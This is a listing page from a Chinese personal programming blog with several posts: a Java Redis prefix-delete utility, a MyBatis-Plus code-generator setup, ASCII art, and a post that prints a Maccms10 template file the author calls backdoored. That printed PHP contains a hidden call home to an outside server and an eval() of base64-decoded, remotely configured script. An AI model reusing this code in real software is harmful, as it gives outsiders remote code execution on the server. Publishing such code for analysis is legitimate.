首页
关于
留言
统计
友链
壁纸
影视
留言找电影
Search
1
java jdk17版本使用cglib报错问题解决
321 阅读
2
在Java中修复json数据,json格式不正确,如何在Java中修复不正确的json
117 阅读
3
Java实现双链表插入排序~渡星河全网首发
106 阅读
4
Java打印某年某月的日历~不调用函数
76 阅读
5
npm nvm 淘宝镜像最新可用
71 阅读
代码笔记
Java
css
Javascript
数据库
安卓开发
Java 功能实例
Java 封装
我的日常
影音分享
文案
恋爱问答
资源分享
电脑游戏
实用APP
登录
/
注册
Search
标签搜索
java
java作业
恋爱
动漫
3A大作
独行月球
电影分享
总之就是非常可爱
JavaScript
office
破解
mysql
vue
java打包
跨域
tomcat解决乱码
bug解决
tomcat
vscode
渡星河
累计撰写
94
篇文章
累计收到
30
条评论
首页
栏目
代码笔记
Java
css
Javascript
数据库
安卓开发
Java 功能实例
Java 封装
我的日常
影音分享
文案
恋爱问答
资源分享
电脑游戏
实用APP
页面
关于
留言
统计
友链
壁纸
影视
留言找电影
搜索到
93
篇与
的结果
2023-04-13
Java封装删除指定redis前缀key
redis删除指定前缀key无语了家人们,今天写项目想通过通配符删除redis缓存的key,没有用啊我本来想使用命令 del wang* 去删除前缀是wang的可以,结果不可以啊含泪封装一个删除指定前缀的key的java类 package com.galaxy.empvue.utils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.core.RedisCallback; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.stereotype.Component; import java.util.Set; @Component public class RedisUtils { @Autowired private RedisTemplate<String, Object> redisTemplate; public void deleteByPrefix(String prefix) { redisTemplate.execute((RedisCallback<Void>) connection -> { Set<byte[]> keys = connection.keys((prefix + "*").getBytes()); assert keys != null; if (!keys.isEmpty()) { connection.del(keys.toArray(new byte[0][])); } return null; }); } } 直接自动装配到你要用的类就行了
2023年04月13日
7 阅读
0 评论
-1 点赞
2023-03-25
php后门文件,分析了一个苹果cms10模板文件,有后门
分析了一个苹果cms10模板文件,有后门<?php header('Content-Type:text/html;charset=utf-8'); //不显示读取错误 ini_set("error_reporting","E_ALL & ~E_NOTICE"); // 检测PHP环境 GlobalBase::check(); class GlobalBase { /** * [curl 网页数据获取] * @param [type] $url [访问 URL 地址] * @param string $method [访问方式] * @param string $fields [要提交的数据] * @param string $ckname [cookie 文件名] * @return [type] [返回访问结果字符串数据] */ public static function curl($url,$params=array(),&$Headers=null) { $ip = empty($params["ip"]) ? self::rand_ip() : $params["ip"]; $header = array('X-FORWARDED-FOR:'.$ip,'CLIENT-IP:'.$ip); if(isset($params["httpheader"])){ $header = array_merge($header,$params["httpheader"]); } $referer = empty($params["ref"]) ? $url : $params["ref"]; $user_agent = empty($params["ua"]) ? $_SERVER['HTTP_USER_AGENT'] : $params["ua"] ; $ch = curl_init(); //初始化 curl curl_setopt($ch, CURLOPT_URL, $url); //要访问网页 URL 地址 curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //伪装来源 IP 地址 curl_setopt($ch, CURLOPT_REFERER, $referer); //伪装网页来源 URL curl_setopt($ch, CURLOPT_USERAGENT,$user_agent); //模拟用户浏览器信息 curl_setopt($ch, CURLOPT_NOBODY, false); //设定是否输出页面内容 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); //返回字符串,而非直接输出到屏幕上 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); //连接超时时间,设置为 0,则无限等待 curl_setopt($ch, CURLOPT_TIMEOUT, 3600); //数据传输的最大允许时间超时,设为一小时 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY); //HTTP验证方法 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //不检查 SSL 证书来源 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //不检查 证书中 SSL 加密算法是否存在 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //跟踪爬取重定向页面 curl_setopt($ch, CURLOPT_AUTOREFERER, true); //当Location:重定向时,自动设置header中的Referer:信息 curl_setopt($ch, CURLOPT_ENCODING, ''); //解决网页乱码问题 curl_setopt($ch, CURLOPT_HEADER, empty($params["header"])?false:true); //是否输出 header 部分 if(!empty($params["fields"])){ curl_setopt($ch, CURLOPT_POST, true); //设置为 POST curl_setopt($ch, CURLOPT_POSTFIELDS,$params["fields"]); //提交数据 } if(!empty($params["cookie"])){ curl_setopt($ch, CURLOPT_COOKIE, $params["cookie"]); //从字符串传参来提交cookies } if(!empty($params["proxy"])){ curl_setopt($ch, CURLOPT_PROXYAUTH, CURLAUTH_BASIC); //代理认证模式 curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP); //使用http代理模式 curl_setopt($ch, CURLOPT_PROXY, $params["proxy"]); //代理服务器地址 host:post的格式 if(!empty($params["proxy_userpwd"])){ curl_setopt($ch, CURLOPT_PROXYUSERPWD, $params["proxy_userpwd"]); //http代理认证帐号,username:password的格式 } } $data = curl_exec($ch); $Headers=curl_getinfo($ch); //运行 curl,请求网页并返回结果 curl_close($ch); //关闭 curl return $data; } public static function check(){ // 检测PHP环境 if(version_compare(PHP_VERSION,'5.4.0','<')) {die('PHP版本过低,最少需要PHP5.4,请升级PHP版本!');} if(!filter_has_var(INPUT_COOKIE, 'log')){ $url="//server.xymov.net/api/?type=xyplay_log&url=".filter_input(INPUT_SERVER, 'HTTP_HOST'); if(!self::curl($url)){file_get_contents($url);} setcookie('log','1',time()+3600*24,'/'); } } /** * [rand_ip 生成随机 IP 地址] * @return [type] [返回 IPv4地址 字符串] */ public static function rand_ip(){ $ip_long = array( array('607649792', '608174079'), //36.56.0.0-36.63.255.255 array('1038614528', '1039007743'), //61.232.0.0-61.237.255.255 array('1783627776', '1784676351'), //106.80.0.0-106.95.255.255 array('2035023872', '2035154943'), //121.76.0.0-121.77.255.255 array('2078801920', '2079064063'), //123.232.0.0-123.235.255.255 array('-1950089216', '-1948778497'), //139.196.0.0-139.215.255.255 array('-1425539072', '-1425014785'), //171.8.0.0-171.15.255.255 array('-1236271104', '-1235419137'), //182.80.0.0-182.92.255.255 array('-770113536', '-768606209'), //210.25.0.0-210.47.255.255 array('-569376768', '-564133889') //222.16.0.0-222.95.255.255 ); $rand_key = mt_rand(0, 9); $ip = long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1])); return $ip; } /** * [is_https 是否是安全连接访问] * @return boolean [description] */ public static function is_https() { if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'){ return "https://"; }elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'){ return "https://"; }elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'){ return "https://"; }elseif(isset($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] === 'https'){ return "https://"; } return "http://"; } public static function is_dir() { $root=str_replace("\\", "/",filter_input(INPUT_SERVER, 'DOCUMENT_ROOT')); $dir=str_replace("\\", "/",str_replace("include","",dirname(__FILE__))); return str_replace($root,"",$dir); } public static function is_root() { return self::is_https().filter_input(INPUT_SERVER, 'HTTP_HOST').self::is_dir(); } public static function is_time($time) { if (preg_match("/^(\d+)(.*?)$/i", $time, $key)) { if (sizeof($key) < 2) { return 0; } switch ($key[2]) { case "d": return $key[1] * 24 * 60 * 60 * 1000; case "h": return $key[1] * 60 * 60 * 1000; case "m": return $key[1] * 60 * 1000; case "s": return $key[1] * 1000; case "ms": return $key[1]; default: return $key[1]; } } else { return 0; } } /** * [getdirs 取指定目录下的子目录数组] * @return array [dir] */ public static function getdirs($dir) { if(is_dir($dir)&& is_readable($dir)) { $handle=opendir($dir);$f_dir=array(); while(($f_name=readdir($handle))!=false){ if(is_dir($dir.'/'.$f_name)&& $f_name!="." && $f_name!=".." ){$f_dir[]=$f_name;} } closedir($handle); return $f_dir; }else{ return false; } } } /** * js escape php 实现 * @param $string the sting want to be escaped * @param $in_encoding * @param $out_encoding */ function escape($string, $in_encoding = 'UTF-8',$out_encoding = 'UCS-2') { $return = ''; if (function_exists('mb_get_info')) { for($x = 0; $x < mb_strlen ( $string, $in_encoding ); $x ++) { $str = mb_substr ( $string, $x, 1, $in_encoding ); if (strlen ( $str ) > 1) { // 多字节字符 $return .= '%u' . strtoupper ( bin2hex ( mb_convert_encoding ( $str, $out_encoding, $in_encoding ) ) ); } else { $return .= '%' . strtoupper ( bin2hex ( $str ) ); } } } return $return; } //文本加密函数 function strencode($string,$key='xyplay'){ $string=base64_encode($string); $len=strlen($key); $code=''; for($i=0;$i<strlen($string);$i++){ $k=$i % $len; $code.=$string[$i]^$key[$k]; } return base64_encode($code); } function lsUserAgen ($key) { return preg_match('/'.$key."/i",@$_SERVER['HTTP_USER_AGENT']); } function lsReferer($key) { return preg_match('/'.$key."/i",parse_url(@$_SERVER['HTTP_REFERER'],PHP_URL_HOST)); } //广告过滤类 class AdBlack { public static function parse($list,$path) { $url=filter_input(INPUT_GET, $list["name"]);if(empty($url)){return "";} $match= $list["match"]; if(!sizeof($match)>0){return self::curl($url);} foreach ( $match as $key => $row ){$num[$key] = $row ['num'];} array_multisort($num,SORT_DESC ,$match); //规则按优先级降序排列 foreach ($match as $m) { if($m["off"]==="1" && preg_match("{".$m["target"]."}",$url)) { $word=self::curl($url,$url); //原始内容 $word=self::black_replace($m["val"],$word); //主体替换 $word=self::frame_replace($word,$url,$list["name"]); //框架替换 break; } } return $word; } public static function black_replace($match,$word) { foreach ($match as $key=>$val){ $word=preg_replace("{".$key."}",$val, $word);} return $word; } public static function frame_replace($word,$url,$jx,$path) { $key=array();$matchs=array(); $path.="/?$jx="; $path.=preg_match("#^((http://|https://).*)/#",$url,$key)?$key[1]:""; if(preg_match_all( '{<iframe.*?src="(.*?)".*?</iframe>}',$word,$matchs)) { foreach($matchs[1] as $val){$word=preg_replace('{'.$val.'}',self::put_url($path,$val), $word);} } return $word; } public static function put_url($path,$url) { if(substr($url,0,4)=="http") { return $url; }else if(substr($url,0,1)=="/"){ return $path.$url; }else{ return $path."/".$url; } } public static function curl($url, $ref = '') { $params["ua"] = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"; $params['ref'] = $ref; return GlobalBase::curl($url, $params); } } //防火墙类 class Blacklist { public static function parse($list) { if($list['off']==1){self::black($list);} } public static function shell($match,$list,$type='') { switch ($type) { //来源域名 case '0': $val=filter_input(INPUT_SERVER,"HTTP_REFERER"); if($val){$val=parse_url( $val,PHP_URL_HOST);}//取出来源域名 $host=filter_input(INPUT_SERVER,"HTTP_HOST"); //排除解析域名 if($host!==$val){ $key=str_replace('$host',$host,implode("|",$match['val'])); //host替换 if(preg_match("{".$key."}i",$val)==$match['match']){self::shell($match,$list);} } break; //目标域名 case '1' : $val=isset($_REQUEST['v'])?$_REQUEST['v']:$_REQUEST['url']; //$val=parse_url( $val,PHP_URL_HOST); //取出目标域名 if(preg_match('{'.implode("|",$match['val'])."}i",$val)==$match['match']){ self::shell($match,$list);} break; //浏览器标识 case '2' : $val=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'' ; //取出浏览器标识 if(preg_match('{'.implode("|",$match['val'])."}i",$val)==$match['match']){self::shell($match,$list);} break; //客户IP case '3' : $val=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'' ; //取出IP if(preg_match('{'.implode("|",$match['val'])."}i",$val)==$match['match']){self::shell($match,$list);} break; default: //取出脚本 $shell=base64_decode($list['black'][$match['black']]['info']); //取出脚本类型 $type=$list['black'][$match['black']]['type']; //取出脚本动作 $action=$list['black'][$match['black']]['action']; //if($type=='0'){ if(!$all){echo $shell;}if($action=='1'){exit;}}else{eval($shell);if($action=='1'){exit;}} if($type=='0'){ if($action=='0'){ session_start(); $_SESSION['FOOTER_CODE']=$shell;}else{exit($shell);} }else{eval($shell);if($action=='1'){exit;}} break; } } public static function black($list) { $match=$list['match']; //规则按优先级升序排列,数字越小,优先级越高 foreach ( $match as $key => $row ){$num[$key] = $row ['num'];} array_multisort($num,SORT_ASC ,$match); foreach($match as $key){if($key['off']==1 && preg_match("{".$key['for']."}i",$_SERVER['PHP_SELF'])){self::shell($key,$list,$key['type']);}} } } //检测字符串组的字符在字符串中是否存在,对大小写不敏感 function findstrs($str,$find,$strcmp=false,$separator="|"){ $ymarr = explode($separator,$find); foreach ($ymarr as $find) { if($strcmp){ if(strcasecmp($str,$find)==0){return true; }}else{if(stripos($str,$find) !==false ){return true; }} } return false; } //获取远程内容 function geturl($url,$timeout = 10) { $user_agent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"; $curl = curl_init(); //初始化 curl curl_setopt($curl, CURLOPT_URL, $url); //要访问网页 URL 地址 curl_setopt($curl, CURLOPT_USERAGENT,$user_agent); //模拟用户浏览器信息 curl_setopt($curl, CURLOPT_REFERER,$url) ; //伪装网页来源 URL curl_setopt($curl, CURLOPT_AUTOREFERER, 1); //当Location:重定向时,自动设置header中的Referer:信息 curl_setopt($curl, CURLOPT_TIMEOUT, $timeout); //数据传输的最大允许时间 curl_setopt($curl, CURLOPT_HEADER, 0); //不返回 header 部分 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //返回字符串,而非直接输出到屏幕上 curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); //跟踪爬取重定向页面 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, '0'); //不检查 SSL 证书来源 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, '0'); //不检查 证书中 SSL 加密算法是否存在 curl_setopt($curl, CURLOPT_ENCODING, ''); //解决网页乱码问题 $data = curl_exec($curl); curl_close($curl); return $data; } function lsMobile(){ if(isset($_SERVER['HTTP_USER_AGENT'])) { $clientkeywords=array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile'); if(preg_match("/(". implode('|',$clientkeywords). ")/i",strtolower($_SERVER['HTTP_USER_AGENT']))){return true;} } return false; } //编码转换,转换为utf-8编码 function utf8($title) { $encode = mb_detect_encoding($title, array('GB2312','GBK','UTF-8', 'CP936')); //得到字符串编码 if ( $encode != 'CP936' && $encode != 'UTF-8') { $title=iconv($encode, 'UTF-8', $title); } return $title; } //缓存操作类 class Main_Cache{ private $cachetype = 1; //默认缓存类型,1为文件,2为Redis服务 private $cacheprot = 6379; //缓存服务端口,默认为Redis服务端口 private $cacheTime = 3600; //默认缓存时间,单位微秒。 private $cacheDir = './cache'; //缓存绝对路径 private $md5 = true; //是否对键进行加密 private $suffix = ""; //设置文件后缀 private $cache; public function __construct($config){ if($this->cachetype==0) { return ; } if( is_array( $config ) ){ foreach( $config as $key=>$val ){ $this->$key = $val; } } if($this->cachetype==2){ $this->cache = new Redis(); $this->cache->connect('127.0.0.1', $this->cacheprot); } } //设置缓存 public function set($key,$val,$leftTime=NULL){ if($this->cachetype==0) { return false ; }else if($this->cachetype==1){ $key = $this->md5 ? md5($key) : $key; $val=$this->md5 ? base64_encode($val) : $val; if(function_exists("gzcompress")){$val =@gzcompress($val);} !file_exists($this->cacheDir) && mkdir($this->cacheDir,0777); $file = $this->cacheDir.'/'.$key.$this->suffix; $leftTime=empty($leftTime)?$this->cacheTime/1000 :$leftTime; $ret=file_put_contents($file,$val) or $this->error(__line__,"文件写入失败"); $ret=touch($file,time()+$leftTime) or $this->error(__line__,"更改文件时间失败"); }else if($this->cachetype==2){ $key_md5 = $this->md5 ? md5($key) : $key; $val_base64 = $this->md5 ? base64_encode($val) : $val; $val_base64 =@gzcompress($val_base64); $ret=$this->cache->set($key_md5,$val_base64); if($leftTime!=0){$this->cache->EXPIRE($key_md5,$leftTime);} // $this->cache->del($val_base64); } return $ret; } //得到缓存 public function get($key){ if($this->cachetype==0) { return ; }else if($this->cachetype==1) { //$this->clear(); if( $this->_isset($key) ){ $key_md5 = $this->md5 ? md5($key) : $key; $file = $this->cacheDir.'/'.$key_md5.$this->suffix; $val = file_get_contents($file); $val=@gzuncompress($val); $val =$this->md5 ? base64_decode($val) : $val; return $val; } return null; }if($this->cachetype==2) { $key_md5 = $this->md5 ? md5($key) : $key; $val=$this->cache->get($key_md5); if(function_exists("gzuncompress")){$val=@gzuncompress($val);} $val_base64=$this->md5 ? base64_decode($val) : $val; return $val_base64; } } //判断文件是否有效 public function _isset($key){ $key = $this->md5 ? md5($key) : $key; $file = $this->cacheDir.'/'.$key.$this->suffix; if( file_exists($file) ){ if( $this->cacheTime==0 || filemtime($file) >= time()){ return true; }else{ @unlink($file); return false; } } return false; } //删除指定缓存 public function _unset($key){ if($this->cachetype==0) { return ; }elseif($this->cachetype==1){ if( $this->_isset($key) ) { $key_md5 = $this->md5 ? md5($key) : $key; $file = $this->cacheDir.'/'.$key_md5.$this->suffix; return @unlink($file); } }elseif($this->cachetype==2){ $key_md5 = $this->md5 ? md5($key) : $key; return $this->cache->del($key_md5); } } //清除过期缓存文件 public function clear(){ $files = scandir($this->cacheDir); $cacheTime=$this->cacheTime; foreach ($files as $val){ if ( $cacheTime!=0 && filemtime($this->cacheDir."/".$val) < time()){ $ret=@unlink($this->cacheDir."/".$val); } } return $ret; } //清除所有缓存文件 public function clear_all(){ $ret= true; if($this->cachetype==0) { return $ret; }elseif($this->cachetype==1){ if(!is_writable($this->cacheDir)){return false;} $files = scandir($this->cacheDir); foreach ($files as $val){ @unlink($this->cacheDir."/".$val); } }elseif($this->cachetype==2){ $ret=$this->cache->flushAll(); } return $ret; } private function error($line,$msg){ die("出错文件:".__file__."/n出错行:$line/n错误信息:$msg"); } }
2023年03月25日
21 阅读
0 评论
1 点赞
2023-03-24
mybatis-plus代码生成使用(springboot中使用版本)
代码在test中调用,在test文件夹里面创建类package com.pms.pms; import com.baomidou.mybatisplus.annotation.DbType; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.generator.AutoGenerator; import com.baomidou.mybatisplus.generator.config.DataSourceConfig; import com.baomidou.mybatisplus.generator.config.GlobalConfig; import com.baomidou.mybatisplus.generator.config.PackageConfig; import com.baomidou.mybatisplus.generator.config.StrategyConfig; import com.baomidou.mybatisplus.generator.config.rules.DateType; import com.baomidou.mybatisplus.generator.config.rules.NamingStrategy; import org.junit.jupiter.api.Test; public class CodeTest { @Test public void run() { // 1、创建代码生成器对象 AutoGenerator mpg = new AutoGenerator(); // 2、全局配置 GlobalConfig gc = new GlobalConfig(); String projectPath = System.getProperty("user.dir"); //指定生成的代码和包存放的地方 gc.setOutputDir("E:\\SSM\\pms" + "/src/main/java"); gc.setAuthor("duGalaxy");//作者 gc.setOpen(false); //生成后是否打开资源管理器 gc.setFileOverride(false); // 不覆盖之前的 gc.setServiceName("%sService");//生成的业务层接口不需要前面有一个 gc.setIdType(IdType.ASSIGN_ID);//主键策略的设置(字符串类型的数字) gc.setDateType(DateType.ONLY_DATE);//设置日期类型 gc.setSwagger2(true);//是否开启swagger配置 mpg.setGlobalConfig(gc); // 3、数据源配置 DataSourceConfig dsc = new DataSourceConfig(); dsc.setUrl("jdbc:mysql://localhost:3306/pms?serverTimezone=GMT%2B8"); dsc.setDriverName("com.mysql.cj.jdbc.Driver"); dsc.setUsername("root"); dsc.setPassword("500423"); dsc.setDbType(DbType.MYSQL); mpg.setDataSource(dsc); // 4、包配置 PackageConfig pc = new PackageConfig(); pc.setParent("cn.muau.pms");//指定父包名称 // pc.setModuleName("uservice"); //指定模块名称(在分布式的项目中才会指定) pc.setController("controller");//控制层报名 pc.setEntity("entity");//实体类包名 pc.setService("service");//业务层包名 pc.setMapper("mapper");//dao层包名 mpg.setPackageInfo(pc); // 5、策略配置 StrategyConfig strategy = new StrategyConfig(); strategy.setInclude("t_developer");//数表的名称(就是指定要为哪一张数据表生成代码和包) //数据表映射到实体类的命名策略,比如数据表为t_emp--->tEmp strategy.setNaming(NamingStrategy.underline_to_camel); //生成实体类的时候去掉表的前缀(比如表名为t_emp_info--->empInfo) // strategy.setTablePrefix(pc.getModuleName() + "_"); strategy.setTablePrefix("t_"); //生成实体类的时候的字段的命名策略(遵循驼峰原则比如 e_name--->eName) strategy.setColumnNaming(NamingStrategy.underline_to_camel); strategy.setEntityLombokModel(true);//开启lombok插件的使用 strategy.setRestControllerStyle(true);//restful风格的api配置 strategy.setControllerMappingHyphenStyle(true);// url中驼峰转字符 mpg.setStrategy(strategy); // 6、执行 mpg.execute(); } } pom文件<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.21.0</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.15.2</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.21.0</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <optional>true</optional> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency> <!-- mybatis-plus依賴 --> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-boot-starter</artifactId> <version>3.4.2</version> </dependency> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-generator</artifactId> <version>3.4.1</version> </dependency> <dependency> <groupId>org.apache.velocity</groupId> <artifactId>velocity-engine-core</artifactId> <version>2.0</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.2.8</version> </dependency> <dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.7.17</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-mail</artifactId> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.12.0</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> <scope>provided</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <scope>provided</scope> </dependency> </dependencies> <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-dependencies</artifactId> <version>${spring-boot.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement>
2023年03月24日
12 阅读
0 评论
0 点赞
2023-03-15
ASCII艺术 项目启动打印好看的logo
皮卡丘 ▐▒▒░▄ ▒▒▒▒▒▒▒▒▄ ▐▒▒▒▒▒▒▒▒▒▒▒▄ ▄▄▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▄ ▄▄▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄ ▄▒▒▒▒▒▒▒▒▒▒▒▒▒▌ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄ ▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▄░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░ ▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄ ▄▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄▄▄▄▄░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▀▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒▒▒▒▀ ▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒░▄▄▄ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▄▄▄ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒ ▀█▀ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▐██▀ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒░ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▐▒▒▒▒▒▒▒▒▒▒▒▒▒▄ ▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄ ▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀▀▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄▄ ▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒░░░░░░░░▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░▒▒▒▒▒▒▒▒ ▐▒░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░▐▒▒▒▒▒▒ ▒▒░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀░░░░▄░░░▀▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░▐▒▒▒▒▒▒▒ ▐▒▒░░░░░░░▄░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒░▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░▒▒▒▒▒▒▒▒▒▒▒▒ ▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒░▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▄░▀▒▒▒▒▀░▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ 